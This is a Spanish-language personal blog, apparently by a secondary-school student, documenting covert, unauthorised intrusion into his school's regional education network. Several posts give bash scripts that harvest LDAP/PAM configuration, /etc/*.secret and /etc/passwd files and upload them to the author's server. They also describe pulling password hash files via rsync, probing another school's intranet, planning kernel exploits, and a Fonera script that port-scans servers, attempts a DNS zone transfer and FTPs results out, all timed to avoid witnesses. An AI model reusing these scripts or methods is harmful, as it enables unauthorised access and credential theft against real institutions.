Mostrando entradas con la etiqueta centro tic. Mostrar todas las entradas
Mostrando entradas con la etiqueta centro tic. Mostrar todas las entradas

lunes, noviembre 12, 2007

Progresos en el centro tic

Hola a todos, siento no haber podido escribir aun el post sobre el script que tenía preparado para la fonera, pero es que el instituto no me deja demasiado tiempo últimamente, examen de física, de lengua... en fin que ahora ando ocupado. De todas formas todavía tengo pendientes tres post, uno sobre el script de la fonera, otro sobre ion3 (un increíble escritorio para linux) y uno mas contando mi nuevo proyecto (es sobre programación). Sin embargo ahora os cuento lo que he hecho esta misma mañana en el centro tic, ya os he contado que en alternativa estamos en el aula de dibujo... bien, pues la gente ya se ha cansado de los ordenadores así que hoy he tenido uno de ellos a mi disposición, solo con dos testigos, ambos de confianza, uno si está interesado en el tema de la informática y tal, y el otro no, se puso a escuchar música en el mp3 y algunas veces usaba el ordenador un rato. Bueno yo lo primero que quise hacer fue descargar mi script, wget fon.gs/sh, pero se ve que yo le cambiaría el nombre o algo hace tiempo, porque el script no se descargó. Sin embargo hay una extraña característica que no me gusta nada en 1and1 y no se como evitarla, el caso es que si tu pones algo y no lo encuentra a veces puede darte unas opciones de archivos que se parecen, para ver a que me refiero poner en el navegador fon.gs/sh y veréis lo que os sale. Entonces yo vi ese archivo en la consola y me acordé de que script.sh.first es el primer script que ejecuté en esos PCs y script.sh.work la versión con la que yo estaba trabajando en mi red local, para pruebas, pero se parece demasiado a la versión definitiva, así que me descargué ese archivo. Intenté ejecutar dicho script pero daba un error en el bloque if, así que nada hice un cat script.sh y miré lo que hacía para ir ejecutando las cosas manualmente, lo primero que hice fue mirar si yo tenía acceso a la intranet de la junta, así que vi en el script el nslookup que comprueba si el dns resuelve el nombre del servidor f0 de otro centro tic, así fue, aquí esta el resultado:

$ nslookup c0.14704533.11.andared.cec.junta-andalucia.es
Server: 192.168.0.2
Address: 192.168.0.2#53

Non-authoritative answer:
f0.14704533.11.andared.cec.junta-andalucia.es canonical name = ns.14704533.11.andared.cec.junta-andalucia.es.
Name: ns.14704533.11.andared.cec.junta-andalucia.es
Address: 10.53.110.130

Como yo esperaba el nombre fue resuelto, pero ahí no estaba acabado tenía que comprobar el acceso a dicha ip: wget 10.53.110.130 y se descargo una página html! funcionó! rápidamente lo puse en el navegador para ver que efectivamente se trataba del centro tic que yo suponía y así era, tengo acceso a la intranet!! Bueno, realmente a vi la pagina web conectándome al c0 de dicho centro tic, no a f0, pero es que solo he guardado registro de la dirección de f0, aunque mi intención era guardar las dos, bueno sería un despiste, a este tema también hay que añadir que evidentemente se trata de una intranet porque la ip pertenece al rango usado en redes locales, y lógicamente no se puede acceder a ella desde el exterior.

Mas cosas, ahora sobre nfs, los pcs si tienen showmount instalado, se ve que la primera vez que yo lo ejecuté habría algún error o algo, o quizás aquel pc por algún motivo no tenía el paquete (hoy he estado en el otro PC)... el caso es que hoy si ha funcionado así que he podido averiguar el directorio que se monta por nfs. Se trata del /home/nfs de c0:

$ showmount -e c0
Export list for c0:
/home/nfs 192.168.0.0/21

Es lo único que me ha mostrado showmount, (que en realidad es bastante).

Ahora toca rsync, que hoy el día ha sido completito, aquí sobran palabras es más fácil poner los resultados:

$ rsync f0::
boot
scripts
guadalinex2004
guadalinex2004-act1-wifi
guadalinex2004-act1-toshiba2
Samsung-x05_gl2_video

Mira, parece interesante ahora os cuento que hay en cada carpeta, scripts, contiene los scripts que ya descargué del ftp el año pasado y ya he hablado de ellos en... bueno ahora no encuentro el/los post/s pero estoy seguro de que lo he comentado, si eso luego busco mejor y edito este post para enlazarlos. La carpeta boot, no me acuerdo lo que tiene, lo miré pero también se me paso guardar el log. La siguiente, guadalinex-2004 contiene los archivos de arranque, no se del mismo tipo que se pueden encontrar en un cd bootable o en un pendrive bootable, como también los tengo no me valen para nada. Las siguientes tres carpetas contienen a primera vista lo mismo:

$ rsync f0::guadalinex-2004-act1-toshiba
drwxr-xr-x 4096 2006/07/04 16:34:39 .
-rw-r--r-- 3748 2005/05/12 13:44:13 .deb
lrwxr-xr-x 18 2006/06/27 16:52:37 vmlinuz
drwxr-xr-x 4096 2006/07/04 16:34:39 auto
drwxr-xr-x 4096 2006/07/04 16:34:39 bin
drwxr-xr-x 4096 2006/07/04 16:34:39 boot
drwxr-xr-x 4096 2006/07/04 16:34:39 cdrom
drwxr-xr-x 28672 2006/07/04 16:34:39 dev
drwxr-xr-x 8192 2006/07/04 16:34:39 etc
drwxr-xr-x 4096 2006/07/04 16:34:39 floppy
drwxr-sr-x 4096 2006/07/04 16:34:39 home
drwxr-xr-x 4096 2006/07/04 16:34:40 initrd
drwxr-xr-x 4096 2006/07/04 16:34:40 lib
drwxr-xr-x 4096 2006/07/04 16:34:40 lost+found
drwxr-xr-x 4096 2006/07/04 16:34:40 mnt
drwxr-xr-x 4096 2006/07/04 16:34:40 opt
drwxr-xr-x 4096 2006/07/04 16:34:40 proc
drwxr-xr-x 4096 2006/07/04 16:34:40 root
drwxr-xr-x 4096 2006/07/04 16:34:40 sbin
drwxr-xr-x 4096 2006/07/04 16:34:40 sys
drwxr-xr-t 4096 2006/07/04 16:34:40 tmp
drwxr-xr-x 4096 2006/07/04 16:34:40 usr
drwxr-xr-x 4096 2006/07/04 16:34:40 var

Las otras dos tienen lo mismo solo con cambios en la hora, la carpeta Samsung... también difiere de guadalinex-2004-* en dos o tres cosas mas: .deb que no lo tiene, tiene un fichero llamado vmlinuz.old, no tiene el directorio auto, y tampoco el directorio sys. Esa son las diferencias. Yo vi ahí una oportunidad de oro para conseguir el passwd y el shadow. Mi intención aquí era también coger todos los que hubiera, sin embargo el de Samsung... se me ha olvidado. En cambio de guadalinex-2004-act1-* los he cogido. No voy a postearlos aquí, pero si que los voy a comentar, tienen los mismos usuarios, sin embargo hay un par de diferencias, los usuarios usuario y profesor tienen uids y gids que difieren en una unidad, me refiero de un fichero a otro, en un passwd usuario es 1000 y en otro es 1001. Luego las contraseñas de los shadow, son cadenas distintas las que aparecen en los dos ficheros. Otra cosa que me ha llamado la atención es que es la de root y la de usuario y profesor no están cifradas con el mismo algoritmo. Root es DES y las otras dos md5. Eso es así en ambos ficheros shadows.

Y ya solo me queda una cosa, el tema de los paquetes y del repositorio. He almacenado la caché de apt y también la lista de paquetes instalados en el pc. Existen paquetes muy interesantes, del estilo:

cga-ldap-conf
cga-nfssyncd
cga-passphrase
libnss-ldap
libpam-ldap

Y algunos mas que todavía no he mirado, pero todos los del cga los voy a mirar con lupa. Tengo una lista mas amplia después de una primera revisión, pero ahora mismo lo que me ha parecido mas interesante han sido esos. El primero es para la configuración de ldap, el segundo para "sincronización de escritorios remotos mediante nfs y rsync", el siguiente "Passphrase necesaria para la administración remota", y los dos siguientes son paquetes normales necesarios para la configuración de ldap, sin embargo lo curioso es que esos paquetes han sido creados por el cga, así que pueden incorporar algún regalito, esto me lo imagino por la versión de los paquetes: 238-1ubuntu2-cga0 y 178-1ubuntu3-cga0 respectivamente. Estos paquetes y quizás alguno mas cuando analice la lista con detenimiento, los descargaré del repositorio (f0) y los miraré con tranquilidad, porque seguro que dan algo útil.

Pues nada ya os dejo que tengo que estudiar lengua y llevo una hora de retraso respecto a la hora a la que quería empezar, pero es que tenía muchas ganas de contaros esto :D

PD: Es posible que el post tenga algunas faltas y fallos de formato, ya si eso luego lo reviso despacio, que no quiero perder mas tiempo que tengo que irme a estudiar ya ;)

jueves, noviembre 08, 2007

Lunes de scripts

Este año en alternativa (no doy religión) nos meten en el aula de dibujo, es una hora a la semana, los lunes y lo mejor es en ese aula al final hay un par de PCs de sobremesa conectados a la red TIC, aparentemente configurados del mismo modo que los portátiles, lo de la red tic lo se porque tienen acceso a f0 y c0, lo otro lo supuse porque están en manos del CGA, el primer día que lo usé salió un mensaje en el área de notificación que ponía mas o menos "el equipo va a ser actualizado por el CGA", así que si la configuración no es exactamente la misma debería parecerse bastante. Este par de PCs dan muchas posibilidades, podría ver si arrancan desde usb y de ser así hacerme root, podría intentar lo del netboot, podría ejecutar scripts en él, etc.

La primera vez que lo cogí no hice prácticamente nada, además no tenía ningún sitio donde guardar los resultados, porque el ftp está capado. Sin embargo para el lunes siguiente se me ocurrió montarlo un poco mejor, en mi hosting de 1and1, puse una página php que me permite subir archivos, así puede enviar los resultados independientemente de que el ftp esté cerrado. El código php lo busqué en google, porque yo no se php así que lo de programarlo yo mismo chungo. Además de eso el script a ejecutar lo puse en el server también para descargarlo desde el PC del instituto.

El código php lo encontré vía google, llegué al blog unijimpe.net, que tiene un post comentando precisamente ese tema.

Aunque lo modifiqué un poco (la parte html) para que solo mostrará lo imprescindible, para que cuando lo usara en el instituto no mostrara nada mas que el cuadro de texto con el botón examinar para elegir en archivo y el botón upload. El original tiene un título llamativo, además muestra los archivos que ya se han subido, y creo que poco mas, pero llama mas la atención. El código (el modificado por mi, no el original) no lo voy a poner aquí directamente es un poco largo, lo podéis ver en mi server, el original está en el post que comento antes.

Esa parte de la infraestructura ya esta lista, ya puedo subir los resultados, pero los resultados de qué? He hecho dos scripts, uno lo he ejecutado ya, el otro no. El que he ejecutado lo que hace es copiar la configuración de ldap, y ya que estamos
copia la los archivos de configuración de pam, para ver como están configurado lo de la autenticación ldap. Ejecuta showmount para ver que directorios del servidor NFS se pueden montar. Además copia la configuración de la red. También ejecuta uname -a para posteriormente buscar algún posible exploit (esto no lo hace el script, lo del exploit lo hago yo en securityfocus...). Por último lo comprime todo en un tar.gz y ese archivo es el que yo subo manualmente a mi server.

El script en cuestión es éste:
#!/bin/bash
mkdir ~/logs
mount > ~/logs/mount

# ldap backup
cp -R /etc/pam.d ~/logs
cp /etc/*.secret ~/logs/
cp -R /etc/ldap ~/logs
cp /etc/nsswitch.conf ~/logs
cp /etc/libnss-ldap.conf ~/logs
cp /etc/passwd ~/logs
cp /etc/pam_ldap.conf ~/logs

# nfs directories
showmount -e f0 > ~/logs/showmount.f0
showmount -a f0 >> ~/logs/showmount.f0
showmount -e c0 > ~/logs/showmount.c0
showmount -a c0 >> ~/logs/showmount.c0

# net config
ifconfig -a > ~/logs/ifconfig
iwconfig > ~/logs/iwconfig
cp /etc/network/interfaces ~/logs/net.interfaces
route > ~/logs/route

# other
uname -a > ~/logs/uname

tar -czvf ~/logs.tar.gz ~/logs/*

Para terminar la faena hice dos redirecciones al estilo tinyurl para acortar la dirección, pero lo hice con fon.gs, que ya de por si es corto, y ademas permite elegir el nombre del enlace, yo puse script y upload, pero me pareció que quedaría mejor mas corto así que al final me quedé con sh y up. De modo que quedaron estas dos url: fon.gs/sh y fon.gs/up. La primera es el script y la segunda la pagina a la que subo el resultado.

Ya el resto era fácil solo era ejecutar en pc del instituto:

$ wget fon.gs/sh
$ sh script.sh

Y subir a fon.gs/up el archivo ~/logs/logs.tar.gz.

En realidad no fue tan fácil, el primer día cuando estuve mirando manualmente algunas cosas, se acercó mucha gente a los PCs (solo hay dos en ese aula) y no me hacía ninguna gracia que la gente se diera cuenta de todo, así que paré, de hecho la idea de los scripts fue para hacer las cosas mas rápido y acabar prácticamente nada mas empezar. El siguiente lunes, era cuando iba a ejecutar este plan, pensaba hacerlo nada mas entrar, ir rápidamente a un PC y ejecutarlo antes de que la gente se acercara, pero no fue así, la gente fue nada mas entrar, así que plan destrozado, sin embargo pensé que el final de la hora, justo cuando acaba la clase y la gente se levanta y se va, podía hacerlo en pocos segundos y apagar yo el ordenador. Así fue, cuando acabo la hora la gente se levantó y fue hacia la puerta pero yo al que estaba en el pc le dije, espera no lo apagues! y lo hice todo. Al final solo un testigo, bastante mejor que los 10 o 15 que podría haber tenido.

Los resultados que revisé en mi casa, fueron... digamos inesperados. LDAP no estaba configurado, los ficheros de configuración eran los que aparecían por defecto, así que sigo sin saber nada sobre ldap, se ve que estos dos pcs no están configurados en ese aspecto, los portátiles si lo estarán porque los servidores tienen el servicio ldap funcionando. Respecto al archivo /etc/passwd, simplemente lo copié para ver si el usuario root esta deshabilitado o no en ese fichero, y no, lo que aparece es una x, es decir, hay que recurrir a shadow.

Respecto al showmount, no valió para nada, no estaba instalado el paquete nfs-common o nfs-utils, se ve que tampoco tienen nfs estos pcs. Desde luego si están en manos del CGA no se porque no están igual que los portátiles, y si están en manos del instituto... pues simplemente no veo nadie capaz de hacerlo.

La red no dio ninguna sorpresa, está conectado por wifi a la red Andared (la misma que usan los portátiles. Por último el uname, este fue el resultado:

Linux pc226-1 2.6.12-10-686 #1 Thu Dec 22 11:55:07 UTC 2005 i686 GNU/Linux

Todavía no he hecho ninguna búsqueda intensiva de exploits, pero quizás haya alguno útil....

Después de estos resultados el siguiente domingo preparé otro script para el lunes correspondiente, de hecho valoré la posibilidad de dejar la fonera y hacerlas cosas en esos PCs, ahorrándome las pilas, la fonera y la fontenna y los problemas de espacio, pero esa posibilidad la vi rápidamente frustrada el lunes siguiente. Precisamente por el problema que he contado antes, como solo hay dos pcs en el aula mucha gente se pone en torno a ellos, así que he decidido dejar ese tema, volveré a la fonera.

Para el siguiente lunes, el script que tenía preparado lo que hacía era intentar de nuevo lo del showmount, pero esta vez descargando el ejecutable primero, también uso rsync para ver cuales son los directorios "sincronizables" del servidor, intento resolver dos nombres (dns) de servidores que corresponden a otro centro tic de mi ciudad, lo hago para ver si existe alguna intranet a la que yo pueda acceder fácilmente o si solo desde Sevilla tienen tienen acceso a todo (CGA), también intenta descargar el index.html del c0 del otro centro tic, porque a lo mejor el dns me lo resuelve pero no tengo acceso. Luego hace un dpkg -l y guarda el resultado, todo esto lo comprime en ~/logs/logs.tar.gz. Pero al script le queda una cosa más, copia la cache de apt, bueno en realidad no se si se llama así, me refiero a los archivos que descarga de cada repositorio cuando haces un apt-get update, los que tienen las listas de archivos, esto lo descargo para saber si tienen algo útil, porque en el hipotético caso de que yo fuera root podría instalar todo y si esta en el repositorio mejor. Esto va al fichero ~/logs/apt.tar.gz, creo que no lo he dicho antes, el carácter ~, simboliza el /home del usuario, por ejemplo si yo pongo en mi pc cd ~/logs, es como cd /home/neobius/logs.

El script es este:

#!/bin/bash
rm -r ~/logs
mkdir ~/logs

wget http://neobius.es/sh/showmount
chmod +x showmount

RSYNC=$(ls /usr/bin/rsync)
RSYNC2=/usr/bin/rsync
if [ "$RSYNC" == "$RSYNC2" ]; then
rsync 192.168.0.1:: > ~/logs/rsync;
else
wget http://neobius.es/sh/rsync
chmod +x rsync
./rsync 192.168.0.1:: > ~/logs/rsync;
fi

./showmount -e 192.168.0.2 > ~/logs/showmount
echo -e "\r" >> ~/logs/showmount
./showmount -a 192.168.0.2 >> ~/logs/showmount

nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.1 > ~/logs/dns1
nslookup c0.14704533.11.andared.cec.junta-andalucia.es 192.168.0.2 > ~/logs/dns2
wget http://c0.11700603.11.andared.cec.junta-andalucia.es -O ~/logs/intranet

dpkg -l > ~/logs/packets

tar -czvf ~/logs/logs.tar.gz ~/logs/*

cp -r /var/lib/apt/ ~/logs/
tar -czvf ~/logs/apt.tar.gz ~/logs/apt/*

Ya lo he explicado antes, pero voy a añadir algunos detalles, lo primero es descargar showmount, que esperé que funcionara, primero cogí el del paquete de ubuntu nfs-common, y lo iba a dejar así cuando se me ocurrió arrancar el live cd de guadalinex v3 en vmware y probarlo... no funcionó, el ejecutable creo que daba algún error de libc o algo parecido. Pero eso tiene fácil solución, en vez de usar el paquete de ubuntu uso el del repositorio de guadalinex, dicho y hecho, después ya funcionó. Luego se le dan permisos y se ejecuta solo hacia el servidor que tiene nfs corriendo (c0). Si os fijáis he ejecutado el mismo comando con la opción -e y luego -a. El primero muestra la export list, los directorios que se pueden montar, el segundo muestra toda la información (all), incluso que directorios están montados y por quién. Un ejemplo en mi red local (debian es mi server):

# showmount -e 192.168.0.6
Export list for 192.168.0.6:
/media/home 192.168.0.0/255.255.255.0
# showmount -a 192.168.0.6
All mount points on 192.168.0.6:
192.168.0.0/255.255.255.0:/media/home
192.168.0.10:192.168.0.0/255.255.255.0
192.168.0.11:/media/home
192.168.0.11:192.168.0.0/255.255.255.0
192.168.0.21:192.168.0.0/255.255.255.0
192.168.0.5:192.168.0.0/255.255.255.0

Ahora vamos con el tema del rsync, imagino que muchos ya lo conoceréis porque creo que ya he hablado de él por aquí, pero por si acaso os lo cuento, simplemente permite sincronizar directorios locales o remotos, por ejemplo yo tengo en mi servidor el directorio /media/almacen/trabajos y ahí tengo una carpeta por asignatura y dentro de cada los trabajos y también algunos archivos de texto con links que me resultó útil consultar al estudiar el tema (en realidad no lo tengo, es un ejemplo inventado) y quiero hacer un backup en mi portátil, o quiero copiarlo todo para ver mis trabajos, o lo que sea, el caso es que copia la carpeta entera con lo que tenga dentro. Imaginaros las utilidades que queráis a mi la principal que se me ocurre es backups y mirroring, que es lo que hace el repositorio de guadalinex, quien quiera hacer un mirror copia todo el repositorio con rsync. Volvemos al script, comprueba si el archivo existe en el pc, si existe lo usa, sino lo descarga y lo ejecuta contra f0, que es quien tiene el servicio corriendo. Como os he dicho antes el repositorio guadalinex lo usa, así que lo usaremos para ilustrar la entrada:

# rsync pool.guadalinex.org::


Repositorios de Guadalinex


Esta máquina contiene los siguientes repositorios:

* Guadalinex-liron (v1.0)
* Guadalinex-muflon (v2004)
* Guadalinex-flamenco (V3)
* Guadalinex-toro (V4)
* Ubuntu's (breezy, dapper y edgy)





guadalinex-flamenco Mirror de Guadalinex v3 (Flamenco)
guadalinex-toro Mirror de Guadalinex v4 (Toro)
ubuntu Mirrors de Ubuntu (breezy, dapper y edgy)
mirror Repositorio oficial de Guadalinex 2004
guadalinex Repositorio oficial de Guadalinex 1.0
guadalinex-descargas Descargas de Guadalinex (isos, documentacion, etc)

Cuando se ejecuta sin indicarle ningún directorio nos muestra cuales son los que se pueden sincronizar y eso es lo que yo quiero ver en f0.

Ahora toca lo de nslookup y wget, ya os he contado antes para que es, pero voy a añadir una cosa, la dirección es ésta:

c0.14704533.11.andared.cec.junta-andalucia.es

Lo primero puede cambiar c0, f0 y pc-xxx (xxx es un número), es decir la a juzgar por los nombres deberían de ser accesibles desde el exterior. A continuación viene el código del centro que sea (ese no es el mio, el código es inventado), a continuación viene un número que yo diría es el código de provincia, y que se saca del número anterior, pues todos los de Cádiz empiezan por 11, en Jaén por 23, en Sevilla por 41, etc. Y lo último es un nombre fijo, por cierto el nombre junta-andalucia.es no se resuelve desde el exterior, me lo apunto para la próxima, a ver si desde dentro ese dominio apunta a algún sitio.

Ya para acabar lo del apt, y dpkg, nada que añadir.

El script como os he dicho antes no lo he podido ejecutar y seguramente no lo haré en esos PCs, de hecho como ya os dije en el post anterior tengo un script listo para la fonera, pero eso os lo cuento en el siguiente post. La idea inicial de lunes de scripts, queda anulada, no puedo llevarla a cabo, así que habrá que contar con las complicaciones de la fonera. Fue bonito mientras duró, esos pcs abrían bastantes puertas, pero no han servido para nada :(

PD: Ahora que me acuerdo ahora en matemáticas creo que vamos a dar geometría y creo que vamos a usar los portátiles por parejas con el programa geogebra, así que igual puedo retomar lo de los scripts y usarlos en los portátiles...

PD2: He hecho un cambio de estilo, los script en vez de ponerlos en cursiva los he puesto usando el tag html "pre" ya veis el resultado, que os parece?

jueves, septiembre 20, 2007

Error en la fonera

Ayer sometiendo a la fonera a una batería de pruebas detecte un par de errores, uno de ellos es que empieza antes de tiempo a ejecutarse, la comprobación que puse en el script no funcionaba como debía, porque a veces esa condición (estar asociado al access-point) se cumplía y todavía la fonera no tenía ip, por lo que los scaneos a f0 (el primero en ser scaneado) eran erróneos, ya que la conexión no era posible aún. Y como los sucesivos scaneos a f0 se basan en el primero (para ahorrar tiempo) todos los datos sobre f0 eran inválidos. Hablo de esto:

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

El segundo problema era en el "scaneo de versiones" de nmap (nmap -sV) y es que yo mediante un bucle for intentaba pasarle solo los puertos que nmap detectó abiertos al principio, pero como ese mismo trozo de código se usa para el scaneo a c0, la variable que almacena los puertos a scanear está "contaminada" del scaneo anterior, por también hice que se limpiara la variable antes de usarla, pero lo puse en mal sitio, dentro del bucle for, entonces lo que hacia era acabar con un único puerto, el último. El código erróneo era este:

for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done

La solución al segundo problema es obvia, simplemente poner la tercera línea antes del for. El otro error si me ha tenido mas atareado estuve ayer probando de todo y no funcionaba, aunque eso si al final lo he conseguido arreglar. La idea era que yo tenía era sencilla, en vez de comprobar con iwconfig que estaba asociado al AP, debía comprobar con ifconfig si ath0 tenía dirección ip. Como no sé que ip tendré no puedo basarme en un numero para hacer la comprobación, pero si hay otras cosas que me pueden valer. Antes de obtener ip por dhcp al ejecutar ifconfig ath0 devuelve algo parecido a esto:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:2 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:116 (116.0 B) TX bytes:0 (0.0 B)

En cambio cuando ya esta conectado con su ip devuelve esto otro:

ifconfig ath0
ath0 Link encap:Ethernet HWaddr 00:18:84:10:B5:9D
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:15 errors:0 dropped:0 overruns:0 frame:0

TX packets:7 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:1531 (1.4 KiB) TX bytes:1651 (1.6 KiB)

Blogger como de costumbre deforma las cosas, se supone que al principio de cada linea hay unos espacios. También comprobé que por alguna extraña causa el supuesto bucle while no funcionaba como yo esperaba y a pesar de cambiar lo del iwconfig por lo de ifconfig no conseguí que funcionase bien. Me di cuenta de que necesitaba until en vez de while, pero tampoco me funcionaba. Pensé en hacer una función recursiva, que comprueba si tiene ip, si la tiene ejecuta main y si no la tiene se llama a si misma de nuevo y así hasta que tuviese ip y se ejecutara main. En algo fallaría porque tampoco conseguí llevarlo a la práctica.

Finalmente puse esto:

START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)
while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Traducido: mientras 1 sea igual a 1 (siempre :P) comprueba si $START es igual a "inet", condición que solo se cumplirá si ath0 tiene ip, en caso afirmativo apunta la hora y luego ejecuta la función principal (main) y cuando ésta acabe se acaba el script (eso lo he añadido a la función main), si la igualdad no se cumpliera se reasignaría el valor de $START y se repetiría todo, así hasta que fuera afirmativo y se ejecutara main.

Con esos cambios el script queda así (también lo he puesto aquí):

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15)

x0scan() {
PUERTOS=""
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:pass@neobius.es
exit
}

while [ "1" == "1" ];
do
if [ $START == "inet" ];
then date >> /mnt/logs/date
main;
else
START=$(ifconfig ath0 | grep "inet addr" | cut -c11-15);
fi;
done

Sin embargo todavía nos faltan un par de cosas por hacer que no hice cuando acabe el último post, tenemos que hacer que el script se ejecute al inicio, y como es lógico mejor si es después del wpa-supplicant. Este último ya lo configuramos, en mi caso use el archivo /etc/init.d/test. Tras hacer pruebas para que el script se ejecute al inicio me di cuenta de una cosa, todo lo que iba después del wpa supplicant no arrancaba, si ponía mi script tras él, no funcionaba. La solución fue sencilla, viendo el manual de wpa-supplicant vi una interesante opción:

-B = run daemon in the background

Correr el demonio en background! era justo lo que necesitaba, así que le añadí la opción al archivo de inicio y ya está:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=50
start(){
wpa_supplicant -dd -D wext -c /etc/wpa_supplicant.conf -i ath0 -B

}


stop(){

killall test

}


Esta parte esta lista, ahora el script en si, yo lo he hecho a través del fichero /etc/init.d/script, con este contenido:

#!/bin/sh /etc/rc.common
# Copyright (C) 2006 OpenWrt.org

START=51
start(){
sh /mnt/backup/script.sh > /mnt/logs/dump

}

stop(){

killall script

}


Ejecuta el script después de haberse ejecutado wpa-supplicant y además guarda como log el resultado de la ejecución en /mnt/logs/dump, por si hubiera algún error al ejecutar un comando que no se guardara en los logs independientes que guardará cada uno de los comandos.

Además de eso he hecho dos cosas más deshabilitar del inicio automático cron y dnsmasq, cron simplemente porque no lo uso y dnsmasq porque si la pongo en modo cliente y dnsmasq está corriendo no me funciona el dns. Para ello simplemente hay que quitarle los permisos de ejecución:

chmod -x /etc/init.d/cron
chmod -x /etc/init.d/dnsmasq

Y por último he hecho otro cambio, la conexión ethernet la puesto con dhcp porque si la dejo estática crea una ruta fija y si luego se conecta por wifi y tiene otro rango de ip o simplemente el router tiene una dirección diferente de la especificada se producirá un conflicto de rutas y los paquetes no tendrán muy claro por donde ir, vamos que la conexión fallará casi seguro. Así he cambiado mi fichero /etc/config/network y lo he dejado así:

config interface loopback
option ifname lo
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0

config interface lan
option ifname eth0
option proto dhcp

config interface vlan1
option ifname ath0
option proto dhcp

Con todo esto ahora si puedo afirmar con seguridad: la fonera está lista. Ya lo he probado de todas las maneras posibles y ha funcionado así que el día que vaya al instituto no debería haber ningún problema, a no ser que falle la propia red del instituto.

PD: Hay algo que me hace sospechar que puede no funcionar del todo bien, la web de mi instituto da un 404 así que a lo mejor están haciendo cambios en el servidor, vamos a ver como sale el experimento...

miércoles, septiembre 19, 2007

El script de la fonera

Como ya os he dicho todo esta listo para el primer día (bueno todo no, tengo que comprar pilas :P ). Esta es una importante parte del puzzle, pero creo que al final ha quedado mas o menos bien, antes contar nada os pongo el script y luego os comento, por si aquí no se ve bien también lo he puesto en mi servidor, aquí:

#!/bin/bash
date > /mnt/logs/date
F0=192.168.0.1
C0=192.168.0.2
TARGET=$F0
FILE="/mnt/logs/f0"

x0scan() {
nmap -sT -n -p- -oA $FILE -P0 $TARGET
amap -A -bvq -i $FILE'.gnmap' -o $FILE".amap"
for i in $(grep ^[0-9] $FILE'.nmap' | cut -d"/" -f1);
do
PUERTOS=""
PUERTOS="$PUERTOS$i,";
done
nmap -sV -n -P0 $TARGET -p $PUERTOS -oA $FILE'v'
TARGET=$C0
FILE="/mnt/logs/c0"
}

main() {
ifconfig -a > /mnt/logs/ifconfig
iwconfig > /mnt/logs/iwconfig

x0scan
x0scan

#routes and other scans
nmap -sL 192.168.0.1-255 -oA /mnt/logs/dnsscan
nmap -sP -PR 192.168.0.1-255 -oA /mnt/logs/arpping
nmap --iflist -oN /mnt/logs/nmaproute
traceroute f0 > /mnt/logs/trace
traceroute c0 >> /mnt/logs/trace
traceroute 64.233.183.104 >> /mnt/logs/trace

#dns zone transfer
host -l dominio.es 192.168.0.1 > /mnt/logs/dnstransfer
date >> /mnt/logs/date
tar -czvf /mnt/logs/logs.tar.gz /mnt/logs/*
wput /mnt/logs/logs.tar.gz ftp://user:password@neobius.es
}

while [ -e $(iwconfig ath0 | grep Not_Associated)];
do main
exit;
done

Explico, al principio del script defino unas variables, c0, f0, target, y file. Se que las dos primeras podría haberlas omitido, pero he preferido dejarlo así, esas dos indican las ips de los servidores c0 y f0. La variable $TARGET indica a quien se va a scanear, y $FILE el prefijo para lo nombres de los archivos logs.

El script esta dividido en funciones, la función main y la función x0scan, además también hay un bucle que comprueba si la fonera se ha conectado a la red inalámbrica y hasta que no lo haya hecho no se ejecuta nada mas.

Lo primero que se hace es esa comprobación, que es mediante las ultimas líneas del script, con el while, cuando se ejecuta iwconfig si no esta conectado pondrá Not_Associated, si lo pone sigue esperando hasta que deje de ponerlo y si no lo pone llama a la función main y se acaba la comprobación.

La función main guarda en un log la configuración de la red y del wifi (ifconfig y iwconfig), a continuación llama dos veces a la otra función, x0scan.

x0scan se encarga del scaneo a los servidores, de ahí su nombre (los servidores son f0 y c0). Empieza con nmap, analizando con sondeos TCP los 65535 puertos del servidor f0, sin enviar ping previo y sin búsqueda inversa dns, estas medidas son para ahorrar tiempo. Todo se guarda en logs en todos los formatos (3), he elegido todos porque todos tienen sus ventajas. Lo siguiente es amap, analiza todos los puertos que nmap ha encontrado abiertos y guarda el correspondiente log, todo se registra.

También he averiguado leyendo el manual de nmap que éste también puede detectar que servicio corre y su versión, así que también se ejecutará, ya que es mejor tener dos resultados que uno. Solo se ejecutará a los puertos que nmap haya detectado abiertos al principio, para nuevamente ganar tiempo. Por último, se cambia el contenido de las variables $TARGET y $FILE para así poder ejecutar de nuevo la misma función pero hacia el servidor c0.

